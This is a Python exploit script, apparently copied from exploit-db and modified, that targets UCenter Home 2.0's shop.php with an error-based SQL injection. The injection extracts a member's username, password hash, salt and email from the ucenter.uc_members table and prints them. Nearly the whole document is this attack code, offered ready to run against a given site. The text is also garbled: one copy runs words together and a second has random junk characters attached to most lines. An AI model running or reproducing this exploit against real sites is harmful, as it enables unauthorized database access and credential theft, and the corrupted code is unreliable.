#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl* \7 B. D, I0 y) J, f& d
" `, S+ r. V1 M/ K- X: _; q* C2 w( l
#!/usr/bin/env python
/ d* T5 ]6 g- f
) |- u5 B% U5 `9 D+ ^5 o6 |* } Nimport sys
+ y/ V: k, b5 c- \; d/ l8 Y' ]import urllib2 ( C* }" G; J3 R" A, }6 C
import re ( j2 ^( k/ Q* k
' ^) {) A+ b% j+ v. o5 Idef info():
0 V/ d1 O: o5 _% ~ print 'From:http://www.exploit-db.com/exploits/14997/' ; a7 ]+ J- s7 y) K! p
print 'http://www.hake.cc/Web_loudong/' * r- a( q D9 i# v Q- X* h
print 'changed:qiaoy'
2 x( i3 B2 Y$ W* G. N! Q. o print 'exp:'
/ B: n$ G3 Y( o0 A print ' ./UCenter_Home_2.0.py site'
4 l" G! D q1 Z3 o; N9 ]& x$ q
: ]) f3 a, n9 N8 d( t9 G& Q8 ]def main():
3 M9 J4 i( d) H! i% V+ X* i% D if len(sys.argv) != 2: $ j2 T, T/ I% _) x) O/ Y
info()
: p% P" M) u: ^ else:
" p. X- `; h$ ]4 P" q H site = sys.argv[1]
& K) I7 \9 w' V if site[0:7] == 'http://':
7 ?8 i$ |% |3 B4 o# E" K: X3 {& q sitesite =site
/ V& n5 m0 z$ x$ N8 }% ?. Q elif site[0:8] == 'https://':
+ o- F5 k, ?3 T5 U6 n5 `$ F5 T sitesite = site
" q1 ^: ]; Y# n- X" H8 T) u else:
5 L$ Y' y7 w: {/ s. V% O9 d8 ~ site = 'http://'+site 4 z9 p7 i6 C2 k8 H o: q; O. E `9 B
try: 5 t: y' P* T2 C7 _( m+ q% m! m
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' $ S- B- q& W; w9 u! x
Value = urllib2.urlopen(url).read() " t5 u7 Q6 o: W2 @# _
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
/ G( u) s! o/ ] hacked = Msg.split(':') ) Z8 t: ^& x0 l& @% p+ I$ W4 F( D; k
print 'Name: '+hacked[1] 0 A _% l8 C6 s- ^' r
print 'Passwd: '+hacked[2]
0 h6 i4 b5 e1 @+ b) ?% c7 ~ print 'salt: '+hacked[3]
9 P( }( q9 Z+ ]' m" x. _3 C; [ print 'email: '+hacked[4]
$ v" a. b8 v) ^. y7 E( U except:
8 e6 ~: K* b) s+ s print 'Sorry,I can\'t work............' & b- D; q1 @* w' ?$ {, T, t) V l# h
$ W! c( s0 l/ x' _4 hif __name__ == '__main__': - I" q; C7 {+ e3 P4 l n3 R
main() |